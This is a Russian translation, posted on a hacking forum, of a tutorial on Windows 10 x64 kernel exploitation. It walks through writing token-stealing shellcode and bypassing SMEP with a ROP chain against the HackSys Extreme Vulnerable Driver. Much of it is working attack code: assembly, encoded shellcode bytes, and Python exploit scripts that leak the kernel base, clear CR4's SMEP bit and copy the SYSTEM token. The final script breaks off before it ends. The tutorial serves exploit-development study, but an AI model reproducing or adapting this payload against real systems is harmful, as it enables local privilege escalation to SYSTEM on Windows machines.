• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Паника в ядре - полезные нагрузки для кражи токенов в Windows 10 x64 с обходом SMEP

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Я продолжаю расширять свои исследования/общие знания об эксплуатации ядра Windows, в дополнение к большему опыту разработки эксплойтов в целом. Ранее я говорил о нескольких классах уязвимостей в Windows 7 x86 (https://connormcgarr.github.io/Part-1-Kernel-Exploitation/), которая представляет собой ОС с минимальной защитой. В этом посте я хотел глубже погрузиться в полезные нагрузки для кражи токенов, о которых я ранее говорил о x86, и посмотреть, какие различия могут иметь архитектура x64. Кроме того, я хотел попытаться лучше объяснить, как работают эти полезные нагрузки. Этот пост и исследование также нацелены на то, чтобы лучше познакомиться с архитектурой x64, которая гораздо чаще встречается в 2020 году, и понять средства защиты, такие как Предотвращение Выполнения в Режиме Супервизора (SMEP)

Дай мне токены процессов!

Помимо Windows, существует так называемый процесс SYSTEM. Процесс SYSTEM, PID = 4, содержит большинство системных потоков режима ядра. Потоки, хранящиеся в процессе SYSTEM, выполняются только в контексте режима ядра. Напомним, что процесс - это своего рода "контейнер" для потоков. Поток - это фактический элемент в процессе, который выполняет код. Вы можете спросить: "Как это нам помогает?" Особенно, если вы не видели мой последний пост. В Windows каждый объект процесса, известный как _EPROCESS, имеет токен доступа (https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens). Напомним, что объект - это динамически создаваемая (настраиваемая во время выполнения) структура. Далее этот маркер доступа определяет контекст безопасности процесса или потока. Поскольку в процессе SYSTEM выполняется код режима ядра, его необходимо запускать в контексте безопасности, который позволяет ему получить доступ к ядру. Для этого потребуются системные или административные привилегии. Вот почему наша цель будет заключаться в том, чтобы определить значение токена доступа процесса SYSTEM и скопировать его в процесс, который мы контролируем, или в процесс, который мы используем для использования системы. Оттуда мы можем вызвать cmd.exe из теперь привилегированного процесса, который предоставит нам выполнение привилегированного кода NT AUTHORITY\SYSTEM.

Идентификация токена доступа к процессу SYSTEM

Мы будем использовать Windows 10 x64, чтобы описать этот общий процесс. Сначала загрузите WinDbg на машине отладчика и запустите сеанс отладки ядра на машине отладки (смотри мой пост (https://connormcgarr.github.io/Part-1-Kernel-Exploitation/) о настройке среды отладки). Кроме того, я заметил в Windows 10, что после выполнения команд bcdedit.exe из моего предыдущего сообщения мне пришлось выполнить следующую команду на моей отладочной машине: bcdedit.exe / dbgsettings serial debugport: 1 baudrate: 115200)

Как только все это будет настроено, выполните следующую команду, чтобы выгрузить активные процессы:
!process 0 0
64_1.png


Это возвращает несколько полей каждого процесса. Нас больше всего интересует "process address", который показан на изображении выше по адресу 0xffffe60284651040. Это адрес структуры _EPROCESS для указанного процесса (в данном случае процесса SYSTEM). После перечисления адреса процесса мы можем получить гораздо более подробную информацию о процессе, используя структуру _EPROCESS.

dt nt!_EPROCESS <Process address>
64_2.png



Команда dt отобразит информацию о различных переменных, типах данных и так далее. Как вы можете видеть на изображении выше, были отображены различные типы данных структуры _EPROCESS процесса SYSTEM. Если вы продолжите движение вниз по окну kd в WinDbg, вы увидите поле Token по смещению _EPROCESS + 0x358.

64_3.png


Что это значит? Это означает, что для каждого процесса в Windows токен доступа расположен по смещению 0x358 от адреса процесса. Мы обязательно будем использовать эту информацию позже. Однако прежде чем двигаться дальше, давайте посмотрим, как хранится токен.

Как вы можете видеть на изображении выше, существует нечто, называемое _EX_FAST_REF, или объединение Executive Fast Reference. Разница между объединением и структурой заключается в том, что объединение хранит типы данных в одном и том же месте памяти (обратите внимание, что нет разницы в смещении различных полей относительно основания объединения _EX_FAST_REF, как показано на изображении ниже. Все они имеют смещение 0x000). Это то, в чем хранится токен доступа процесса. Давайте посмотрим поближе.

dt nt!_EPROCESS <Process address>

64_4.png


Взгляните на элемент RefCnt. Это значение, добавленное к токену доступа, которое отслеживает ссылки на токен доступа. На x86 это 3 бита. На x64 (это наша текущая архитектура) это 4 бита, как показано выше. Мы хотим очистить эти биты с помощью побитового AND. Таким образом, мы просто извлекаем фактическое значение токена, а не другие ненужные метаданные.

Чтобы извлечь значение токена, нам просто нужно просмотреть объединение _EX_FAST_REF процесса SYSTEM со смещением 0x358 (где находится наш токен). Оттуда мы сможем понять, как очистить RefCnt.

dt nt!_EPROCESS <Process address>

64_5.png


Как видите, RefCnt равно 0y0111. 0y обозначает двоичное значение. Это означает, что RefCnt в данном случае равно 7 в десятичном виде.

Итак, давайте воспользуемся побитовым И, чтобы попытаться очистить последние несколько бит.

dt nt!_EPROCESS <Process address>

64_6.png


Как видите, результат равен 7. Это не то значение, которое мы хотим - это фактически обратное. Логика подсказывает нам, что мы должны взять обратное к 0xf, -0xf.

64_7.png


Итак, мы наконец-то извлекли значение необработанного токена доступа. На этом этапе давайте посмотрим, что произойдет, когда мы скопируем этот токен в обычный сеанс cmd.exe.

Откроем новой процесса cmd.exe на отлаживаемой машине

64_7_a.png


После запуска процесса cmd.exe в отладчике давайте определим адрес процесса в отладчике.

dt nt!_EPROCESS <Process address>

64_8.png


Как видите, адрес нашего процесса cmd.exe находится по адресу 0xffffe6028694d580. Мы также знаем, на основе нашего ранее проведенного исследования, что токен процесса расположен со смещением 0x358 от адреса процесса. Давайте воспользуемся WinDbg, чтобы перезаписать токен доступа cmd.exe токеном доступа процесса SYSTEM.

64_9.png


Теперь давайте вернемся к нашему предыдущему процессу cmd.exe.

64_10.png


Как видите, cmd.exe стал привилегированным процессом! Остается только один вопрос - как сделать это динамически с помощью фрагмента шелл-кода?

Assembly? Who Needs It. I Will Never Need To Know That- It’s iRrElEvAnT

64_MEME1.png


Достаточно.

В любом случае, давайте разработаем программу на ассемблере, которая может динамически выполнять указанные выше задачи в x64.

Итак, давайте начнем с этой логики - вместо того, чтобы порождать процесс cmd.exe и затем копировать в него токен доступа процесса SYSTEM, почему бы нам просто не скопировать токен доступа в текущий процесс, когда происходит эксплуатация? Текущий процесс во время эксплуатации должен быть процессом, который запускает уязвимость (процесс, из которого запускается код эксплойта). Оттуда мы могли бы запустить cmd.exe из (и в контексте) нашего текущего процесса после того, как наш эксплойт завершился. Тогда этот процесс cmd.exe получит права администратора.

Прежде чем мы сможем это сделать, давайте посмотрим, как мы можем получить информацию о текущем процессе.

Если вы используете Microsoft Docs (ранее известную как MSDN) для изучения структур данных процесса, вы встретите эту статью. (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess) В этой статье говорится, что существует функция Windows API, которая может идентифицировать текущий процесс и возвращать на него указатель !PsGetCurrentProcessId () - это та функция. Эта функция Windows API определяет текущий поток, а затем возвращает указатель на процесс, в котором этот поток обнаружен. Это идентично IoGetCurrentProcess(). Однако Microsoft рекомендует пользователям вместо этого вызывать PsGetCurrentProgress(). Давайте разберем эту функцию в WinDbg.

uf nt!PsGetCurrentProcess
64_11.png


Давайте посмотрим на первую инструкцию mov rax, qword ptr gs:[188h]. Как видите, здесь используется сегментный регистр GS. Этот регистр указывает на сегмент данных, используемый для доступа к различным типам структур данных. Если вы внимательно посмотрите на этот сегмент, при смещении 0x188 байт вы увидите KiInitialThread. Это указатель на запись _KTHREAD в структуре _ETHREAD текущего потока. В качестве предмета спора знайте, что _KTHREAD - первая запись в структуре _ETHREAD. Структура _ETHREAD представляет собой объект потока для потока (аналогично тому, как _EPROCESS является объектом процесса для процесса) и отображает более детальную информацию о потоке. nt!KiInitialThread - это адрес этой структуры _ETHREAD. Давайте посмотрим поближе.

dqs gs:[188h]
64_12.png


Это показывает, что регистр сегмента GS со смещением 0x188 содержит адрес 0xffffd500e0c0cc00 (на вашем компьютере он отличается из-за ASLR/KASLR).
Это должна быть структура nt!KiInitialThread или _ETHREAD для текущего потока. Давайте проверим это с помощью WinDbg.

!thread -p


64_13_a.png


Как видите, мы проверили, что nt! KiInitialThread представляет адрес текущего потока. Вспомните, что упоминалось ранее о потоках и процессах. Потоки - это часть процесса, которая фактически выполняет код (для наших целей это потоки ядра). Теперь, когда мы определили текущий поток, давайте определим процесс, связанный с этим потоком (который будет текущим процессом). Вернемся к изображению выше, где мы дизассемблировали функцию PsGetCurrentProcess().

mov rax, qword ptr [rax,0B8h]

RAX содержит значение регистра сегмента GS со смещением 0x188 (которое содержит текущий поток). Приведенная выше инструкция переместит значение nt!KiInitialThread + 0xB8 в RAX. Логика подсказывает нам, что это должно быть местоположение нашего текущего процесса, поскольку в подпрограмме PsGetCurrentProcess () осталась единственная инструкция — ret. Давайте рассмотрим это дальше.

Поскольку мы считаем, что это будет наш текущий процесс, давайте рассмотрим эти данные в структуре _EPROCESS.

dt nt!_EPROCESS poi(nt!KiInitialThread+0xb8)


64_41_a.png


Сначала немного кунг-фу с WinDbg. poi по существу разыменовывает указатель, что означает получение значения, на которое указывает указатель.

Как видите, мы выяснили, где находится наш текущий процесс! PID для текущего процесса в это время - это процесс SYSTEM (PID = 4). Это может быть изменено в зависимости от того, что выполняется, и так далее. Но очень важно, что мы можем идентифицировать текущий процесс.

Давайте начнем создавать программу на ассемблере, которая отслеживает то, что мы делаем.
; Windows 10 x64 Token Stealing Payload
; Author: Connor McGarr

[BITS 64]

_start:
mov rax, [gs:0x188] ; Current thread (_KTHREAD)
mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
mov rbx, rax ; Copy current process (_EPROCESS) to rbx

Обратите внимание, что я также скопировал текущий процесс, хранящийся в RAX, в RBX. Вскоре вы поймете, зачем это нужно.

Take Me For A Loop!

Давайте взглянем на еще несколько элементов структуры _EPROCESS.

dt nt!_EPROCESS
64_15.png


Давайте посмотрим на структуру данных ActiveProcessLinks, _LIST_ENTRY

dt nt!_LIST_ENTRY

64_16.png


ActiveProcessLinks - это то, что отслеживает список текущих процессов. Вы можете спросить, как он отслеживает эти процессы? Его структура данных - _LIST_ENTRY, двусвязный список. Это означает, что каждый элемент в связанном списке не только указывает на следующий элемент, но также указывает на предыдущий. По сути, элементы указывают в оба направления. Как упоминалось ранее и просто повторяю, этот связанный список отвечает за отслеживание всех активных процессов.

Нам нужно отслеживать два элемента _EPROCESS. Первый элемент, расположенный по смещению 0x2e0 в Windows 10 x64, - это UniqueProcessId. Это PID процесса. Другой элемент - ActiveProcessLinks, расположенный по смещению 0x2e8.

По сути, то, что мы можем сделать на ассемюблере x64, - это найти текущий процесс с помощью вышеупомянутого метода PsGetCurrentProcess(). Оттуда мы можем выполнять итерацию и цикл по элементу ActiveLinkProcess структуры _EPROCESS (который отслеживает каждый процесс через двусвязный список). После чтения текущего элемента ActiveProcessLinks мы можем сравнить текущий UniqueProcessId (PID) с константой 4, которая является PID процесса SYSTEM. Продолжим нашу уже начатую программу на ассемблере.

; Windows 10 x64 Token Stealing Payload
; Author: Connor McGarr

[BITS 64]

_start:
mov rax, [gs:0x188] ; Current thread (_KTHREAD)
mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
mov rbx, rax ; Copy current process (_EPROCESS) to rbx

__loop:
mov rbx, [rbx + 0x2e8] ; ActiveProcessLinks
sub rbx, 0x2e8 ; Go back to current process (_EPROCESS)
mov rcx, [rbx + 0x2e0] ; UniqueProcessId (PID)
cmp rcx, 4 ; Compare PID to SYSTEM PID
jnz __loop ; Loop until SYSTEM PID is found

После того, как структура _EPROCESS процесса SYSTEM была найдена, теперь мы можем продолжить и извлечь токен и скопировать его в наш текущий процесс. Это запустит режим Бога в нашем текущем процессе. Боже, пожалуйста, помилуй душу нашего бедного маленького процесса.

Picture1.png


Как только мы нашли процесс SYSTEM, помните, что элемент Token расположен со смещением 0x358 по отношению к структуре _EPROCESS процесса.

Давайте закончим оставшуюся часть полезной нагрузки для кражи токенов для Windows 10 x64.

; Windows 10 x64 Token Stealing Payload
; Author: Connor McGarr

[BITS 64]

_start:
mov rax, [gs:0x188] ; Current thread (_KTHREAD)
mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
mov rbx, rax ; Copy current process (_EPROCESS) to rbx
__loop:
mov rbx, [rbx + 0x2e8] ; ActiveProcessLinks
sub rbx, 0x2e8 ; Go back to current process (_EPROCESS)
mov rcx, [rbx + 0x2e0] ; UniqueProcessId (PID)
cmp rcx, 4 ; Compare PID to SYSTEM PID
jnz __loop ; Loop until SYSTEM PID is found

mov rcx, [rbx + 0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
mov [rax + 0x358], rcx ; Copy SYSTEM token to current process

xor rax, rax ; set NTSTATUS SUCCESS
ret ; Done!

Обратите внимание на то, что мы используем побитовое И. Мы очищаем последние 4 бита регистра RCX через регистр CL. Если вы читали мой пост об эксплойте повторного использования сокетов (https://connormcgarr.github.io/WS32_recv()-Reuse/), вы знаете, что я говорю об использовании младших байтовых регистров x86 или x64 (RCX, ECX, CX, CH, CL и так далее). Последние 4 бита, которые нам нужно очистить, в архитектуре x64 расположены в младшем или L 8-битном регистре (CL, AL, BL и так далее).

Как вы также можете видеть, мы закончили наш шелл-код, используя побитовое XOR для очистки RAX. NTSTATUS использует RAX в качестве регистратора для кода ошибки. NTSTATUS, когда возвращается значение 0, означает, что операции выполнены успешно

Прежде чем мы продолжим и продемонстрируем нашу полезную нагрузку, давайте разработаем эксплойт, в котором описан обход SMEP. Мы будем использовать переполнение стека в качестве примера в ядре, чтобы описать использование ROP для обхода SMEP.

SMEP говорит привет

64_SMEP.png


Что такое SMEP? SMEP, или Предотвращение Выполнения в Режиме Супервизора, - это защита, которая впервые была реализована в Windows 8 (в контексте Windows). Когда мы говорим о выполнении кода для эксплойта ядра, наиболее распространенным методом является выделение шелл-кода в пользовательском режиме и вызов его из ядра. Это означает, что код пользовательского режима будет вызываться в контексте ядра, что даст нам соответствующие разрешения для получения привилегий SYSTEM.

SMEP - это предотвращение, которое не позволяет нам выполнять код, хранящийся на странице кольца 3, из кольца 0 (выполнение кода из более высокого кольца в целом). Это означает, что мы не можем выполнять код пользовательского режима из режима ядра. Чтобы обойти SMEP, давайте разберемся, как он реализован.

Политика SMEP запрещается/разрешается через регистр CR4. Согласно Intel (https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf), регистр CR4 является регистром управления. Каждый бит в этом регистре отвечает за различные функции, включенные в ОС. 20-й бит регистра CR4 отвечает за включение SMEP. Если 20-й бит регистра CR4 установлен в 1, SMEP включен. Когда бит установлен в 0, SMEP отключен. Давайте посмотрим на регистр CR4 в Windows с включенным SMEP в обычном шестнадцатеричном формате, а также в двоичном формате (чтобы мы действительно могли видеть, где находится этот 20-й бит).

r cr4
64_17.png


Регистр CR4 имеет значение 0x00000000001506f8 в шестнадцатеричном формате. Давайте посмотрим на это в двоичном формате, чтобы увидеть, где находится 20-й бит.
.formats cr4

64_18.png


Как видите, 20-й бит обрисован в общих чертах на изображении выше (считая справа). Давайте снова воспользуемся командой .formats, чтобы увидеть, каким должно быть значение в регистре CR4, чтобы обойти SMEP.

64_19.png


Как вы можете видеть на изображении выше, когда 20-й бит регистра CR4 перевернут, шестнадцатеричное значение будет равно 0x00000000000506f8.

В этом посте будет рассказано, как обойти SMEP через ROP, используя указанную выше информацию. Прежде чем мы это сделаем, давайте поговорим немного больше о реализации SMEP и других возможных обходных путях.

SMEP включается через запись таблицы страниц (PTE) страницы памяти через форму "флагов". Напомним, что таблица страниц - это то, что содержит информацию о том, какая часть физической памяти отображается в виртуальную память. PTE для страницы памяти имеет различные связанные с ним флаги. Два из этих флагов: U для пользовательского режима или S для режима супервизора (режим ядра). Этот флаг проверяется, когда к указанной памяти обращается блок управления памятью (MMU). Прежде чем двигаться дальше, давайте на секунду поговорим о режимах процессора. Кольцо 3 отвечает за код приложения пользовательского режима. Кольцо 0 отвечает за код уровня операционной системы (режим ядра). ЦП может изменить свой текущий уровень привилегий (CPL) в зависимости от того, что выполняется. Я не буду вдаваться в подробности более низких уровней системных вызовов, системных возвратов или других различных процедур, которые происходят, когда ЦП меняет CPL. Это также не блог о том, как работает пейджинг. Если вы хотите узнать больше, я НАСТОЯТЕЛЬНО предлагаю прочитать книгу "Что делает это страница: диспетчер виртуальной памяти Windows 7 (x64)" Энрико Мартиннетти (https://www.amazon.com/What-Makes-Page-Windows-Virtual/dp/1479114294). Хотя это характерно для Windows 7, я считаю, что те же концепции применимы и сегодня. Я даю эту исходную информацию, потому что обход SMEP потенциально может нарушить эту функцию.

Подумайте о реализации SMEP следующим образом:

Законы создаются правительством. ОДНАКО законодатели не бродят по улицам, следя за соблюдением закона. Это работа нашей полиции.

Та же концепция применима и к SMEP. SMEP разрешен регистром CR4, но регистр CR4 не обеспечивает его выполнение. Это работа записей таблицы страниц.

Зачем поднимать этот вопрос? Хотя мы будем описывать обход SMEP через ROP, давайте рассмотрим другой сценарий. Допустим, у нас есть произвольный примитив чтения и записи. Отложите в сторону тот факт, что PTE пока рандомизированы. Что, если бы у вас был примитив чтения, чтобы знать, где находится PTE для страницы памяти вашего шелл-кода? Другой потенциальный (и интересный) способ обойти SMEP - вообще не отключать SMEP. Давайте мыслить нестандартно! Вместо "пойти в гору" - почему бы не "привести гору к нам"? Мы могли бы потенциально использовать наш примитив чтения, чтобы найти нашу страницу шеллкода пользовательского режима, а затем использовать наш примитив записи, чтобы перезаписать PTE для нашего шеллкода и перевернуть флаг U (пользовательский режим) на флаг S (режим супервизора)! Таким образом, когда этот конкретный адрес выполняется, хотя он является "адресом пользовательского режима", он все равно выполняется, потому что теперь права доступа этой страницы совпадают с разрешениями страницы режима ядра.

Хотя записи в таблице страниц теперь рандомизированы, в этой презентации Мортена Шенка из Offensive Security говорится о дерандомизации записей в таблице страниц (https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level–Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf).

Мортен объясняет шаги следующим образом, если вам лень читать его работу:

1) Получите примитив чтения/записи
2) Сделате утечку ntoskrnl.exe (база ядра)
3) Найдите MiGetPteAddress() (может выполняться динамически вместо статических смещений)
4) Используйте базу PTE для получения PTE любой страницы памяти
5) Изменитие бит (копирует ли он шелл-код на страницу и переворачивает бит NX или бит U/S страницы пользовательского режима)

Опять же, я не буду рассказывать об этом методе обхода SMEP, пока не проведу дополнительное исследование разбиения памяти на страницы в Windows. Мои мысли о других обходных путях SMEP в будущем смотрите в конце этого блога.

SMEP говорит до свидания

Давайте воспользуемся переполнением (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver), чтобы обрисовать обход SMEP с помощью ROP. ROP предполагает, что у нас есть контроль над стеком (поскольку каждый гаджет ROP возвращается обратно в стек). Поскольку SMEP включен, наши гагдеты ROP должны поступать со страниц режима ядра. Поскольку здесь мы предполагаем среднюю целостность, мы можем вызвать EnumDeviceDrivers(), чтобы получить базу ядра, которая обходит KASLR.

По сути, вот как будет работать наша ROP-цепочка

-------------------
pop <reg> ; ret
-------------------
VALUE_WANTED_IN_CR4 (0x506f8) - This can be our own user supplied value.
-------------------
mov cr4, <reg> ; ret
-------------------
User mode payload address
-------------------

Давайте пойдем поохотимся за этими ROP-гаджетами. (ПРИМЕЧАНИЕ. ВСЕ СМЕЩЕНИЯ ДЛЯ ГАДЖЕТОВ ROP БУДУТ РАЗЛИЧАТЬСЯ В ЗАВИСИМОСТИ ОТ ОС, УРОВНЯ ПАТЧА И ТАК ДАЛЕЕ) Помните, что эти устройства ROP должны быть адресами режима ядра. Мы будем использовать rp++ для перечисления гаджетов rop в ntoskrnl.exe. Если вы посмотрите мой пост о ROP, вы увидите, как использовать этот инструмент (https://connormcgarr.github.io/ROP/).

Давайте выясним, как управлять содержимым регистра CR4. Хотя мы, вероятно, не сможем напрямую управлять содержимым регистра, возможно, мы сможем переместить содержимое регистра, которым мы можем управлять, в регистр CR4. Напомним, что операция pop <reg> берет содержимое следующего элемента в стеке и сохраняет его в регистре после операции pop. Имейте это в виду.

Используя rp++, мы нашли хороший гаджет ROP в ntoskrnl.exe, который позволяет нам хранить содержимое CR4 в регистре ecx ("вторые" 32 бита регистра RCX.)

64_20_a.png


Как видите, этот гаджет ROP "расположен" по адресу 0x140108552. Однако, поскольку это адрес режима ядра, rp++ (из пользовательского режима и не запущенный от имени администратора) не даст нам его полного адреса. Однако, если вы удалите первые 3 байта, оставшаяся часть "адреса" действительно будет смещением от базы ядра. Это означает, что этот гаджет ROP расположен по адресу ntoskrnl.exe + 0x108552.

64_21_a.png


Потрясающе! rp++ немного ошибся в своем перечислении. rp++ говорит, что мы можем поместить ECX в регистр CR4. Конечно, при дальнейшем рассмотрении, мы видим, что этот ROP-гаджет ДЕЙСТВИТЕЛЬНО указывает на инструкцию mov cr4, rcx. Это идеально подходит для нашего случая использования! У нас есть способ переместить содержимое регистра RCX в регистр CR4. Вы можете спросить: "Хорошо, мы можем управлять регистром CR4 через регистр RCX, но как это нам поможет?" Вспомните одно из свойств ROP из моего предыдущего поста. Всякий раз, когда у нас был хороший гаджет ROP, который позволял желаемое вторжение, но в гаджете появлялся ненужный pop, мы использовали данные-заполнители NOP. Это потому, что мы просто помещаем данные в регистр, а не выполняем их.

Здесь действует тот же принцип. Если мы сможем вытолкнуть желаемое значение флага в RCX, у нас не будет проблем. Как мы видели ранее, предполагаемое значение регистра CR4 должно быть 0x506f8.

Очень быстро и кратко - допустим, rp++ был прав в том, что мы могли контролировать только содержимое регистра ECX (вместо RCX). Повлияет ли это на нас?

Напомним, однако, как здесь работают регистры.
-----------------------------------
RCX
-----------------------------------
ECX
-----------------------------------
CX
-----------------------------------
CH CL
-----------------------------------

Это означает, что даже если RCX содержит 0x00000000000506f8, mov cr4, ecx возьмет младшие 32 бита RCX (то есть ECX) и поместит их в регистр CR4. Это будет означать, что ECX будет равен 0x000506f8- и это значение окажется в CR4. Таким образом, даже если мы теоретически будем использовать как RCX, так и ECX, из-за отсутствия гаджетов pop ecx ROP мы не пострадаем!

Теперь перейдем к управлению регистром RCX.

Давайте найдем гаджет pop rcx!


64_22.png


Найс! У нас есть гаджет ROP, расположенный по адресу ntoskrnl.exe + 0x3544. Давайте обновим наш POC с некоторыми точками останова, где будет находиться наш шелл-код пользовательского режима, чтобы убедиться, что мы можем попасть в наш шелл-код. Этот POC заботится о семантике, такой как нахождение смещения для команды ret, которую мы перезаписываем, и так далее.

Python:
import struct
import sys
import os
from ctypes import *

kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi


payload = bytearray(
    "\xCC" * 50
)

# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
# We also need to bypass SMEP before calling this shellcode
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
    c_int(0),                         # lpAddress
    c_int(len(payload)),              # dwSize
    c_int(0x3000),                    # flAllocationType
    c_int(0x40)                       # flProtect
)

# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)

print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
    c_int(ptr),                       # Destination (pointer)
    c_type_buffer,                    # Source (pointer)
    c_int(len(payload))               # Length
)

# Need kernel leak to bypass KASLR
# Using Windows API to enumerate base addresses
# We need kernel mode ROP gadgets

# c_ulonglong because of x64 size (unsigned __int64)
base = (c_ulonglong * 1024)()

print "[+] Calling EnumDeviceDrivers()..."

get_drivers = psapi.EnumDeviceDrivers(
    byref(base),                      # lpImageBase (array that receives list of addresses)
    sizeof(base),                     # cb (size of lpImageBase array, in bytes)
    byref(c_long())                   # lpcbNeeded (bytes returned in the array)
)

# Error handling if function fails
if not base:
    print "[+] EnumDeviceDrivers() function call failed!"
    sys.exit(-1)

# The first entry in the array with device drivers is ntoskrnl base address
kernel_address = base[0]

print "[+] Found kernel leak!"
print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))

# Offset to ret overwrite
input_buffer = "\x41" * 2056

# SMEP says goodbye
print "[+] Starting ROP chain. Goodbye SMEP..."
input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret

print "[+] Flipped SMEP bit to 0 in RCX..."
input_buffer += struct.pack('<Q', 0x506f8)                   # Intended CR4 value

print "[+] Placed disabled SMEP value in CR4..."
input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret

print "[+] SMEP disabled!"
input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode

input_buffer_length = len(input_buffer)

# 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
    0xC0000000,                         # dwDesiredAccess
    0,                                  # dwShareMode
    None,                               # lpSecurityAttributes
    0x3,                                # dwCreationDisposition
    0,                                  # dwFlagsAndAttributes
    None                                # hTemplateFile
)

# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
print "[+] Interacting with the driver..."
kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x222003,                           # dwIoControlCode
    input_buffer,                       # lpInBuffer
    input_buffer_length,                # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)

Заглянем в WinDbg.

Как видите, мы попали в ret, который собираемся перезаписать.

64_01.png


Прежде чем мы перейдем к следующему шагу, давайте рассмотрим стек вызовов, чтобы увидеть, как будет продолжаться выполнение.
k
64_02.png

Чтобы лучше понять вывод стека вызовов, столбец Call Site будет адресом памяти, который выполняется. Столбец RetAddr - это то место, куда вернется адрес сайта вызова после завершения.

Как видите, скомпрометированный ret находится в HEVD!TriggerStackOverflow + 0xc8. Оттуда мы вернемся к 0xfffff80302c82544 или AuthzBasepRemoveSecurityAttributeValueFromLists + 0x70. Следующее значение в столбце RetAddr - это предполагаемое значение для нашего регистра CR4, 0x00000000000506f8.

Напомним, что инструкция ret загрузит RSP в RIP. Следовательно, поскольку предполагаемое значение CR4 находится в стеке, технически наш первый гаджет ROP "вернется" к 0x00000000000506f8. Однако pop rcx заберет это значение из стека и поместит его в RCX. Это означает, что нам не нужно беспокоиться о возвращении к этому значению, которое не является допустимым адресом памяти.

После ret от гаджета pop rcx ROP мы перейдем к следующему гаджету ROP, mov cr4, rcx, который загрузит RCX в CR4. Этот гаджет ROP расположен по адресу 0xfffff80302d87552 или KiFlushCurrentTbWorker + 0x12. Чтобы закончить, у нас есть расположение нашего кода пользовательского режима по адресу 0x0000000000b70000.

После прохождения уязвимой инструкции ret мы видим, что попали в наш первый ROP-гаджет.
64_03.png


Теперь, когда мы находимся здесь, при пошаговом выполнении мы должны поместить предполагаемое значение CR4 в RCX.

64_04.png


Отлично. Пройдя дальше, мы должны перейти к следующему гаджету ROP, который переместит RCX (желаемое значение для отключения SMEP) в CR4.

64_05.png


Отлично! Давайте отключим SMEP!

64_06.png


Найс! Как видите, после выполнения наших ROP-гаджетов мы достигаем точки останова (заполнитель для нашего шелл-кода, чтобы проверить, что SMEP отключен)!

64_07.png


Это означает, что мы успешно отключили SMEP и можем выполнять шеллкод пользовательского режима! Давайте завершим этот эксплойт с рабочим POC. Теперь мы объединим наши концепции полезной нагрузки с эксплойтом! Давайте обновим наш скрипт с вооруженным шеллкодом !

Python:
import struct
import sys
import os
from ctypes import *

kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi


payload = bytearray(
    "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
    "\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
    "\x48\x89\xC3"                                      # mov rbx,rax         ; Copy current process to rbx
    "\x48\x8B\x9B\xE8\x02\x00\x00"                      # mov rbx,[rbx+0x2e8] ; ActiveProcessLinks
    "\x48\x81\xEB\xE8\x02\x00\x00"                      # sub rbx,0x2e8       ; Go back to current process
    "\x48\x8B\x8B\xE0\x02\x00\x00"                      # mov rcx,[rbx+0x2e0] ; UniqueProcessId (PID)
    "\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
    "\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
    "\x48\x8B\x8B\x58\x03\x00\x00"                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x348
    "\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
    "\x48\x89\x88\x58\x03\x00\x00"                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
    "\x48\x83\xC4\x40"                                  # add rsp, 0x40       ; RESTORE (Specific to HEVD)
    "\xC3"                                              # ret                 ; Done!
)

# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
# We also need to bypass SMEP before calling this shellcode
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
    c_int(0),                         # lpAddress
    c_int(len(payload)),              # dwSize
    c_int(0x3000),                    # flAllocationType
    c_int(0x40)                       # flProtect
)

# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)

print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
    c_int(ptr),                       # Destination (pointer)
    c_type_buffer,                    # Source (pointer)
    c_int(len(payload))               # Length
)

# Need kernel leak to bypass KASLR
# Using Windows API to enumerate base addresses
# We need kernel mode ROP gadgets

# c_ulonglong because of x64 size (unsigned __int64)
base = (c_ulonglong * 1024)()

print "[+] Calling EnumDeviceDrivers()..."

get_drivers = psapi.EnumDeviceDrivers(
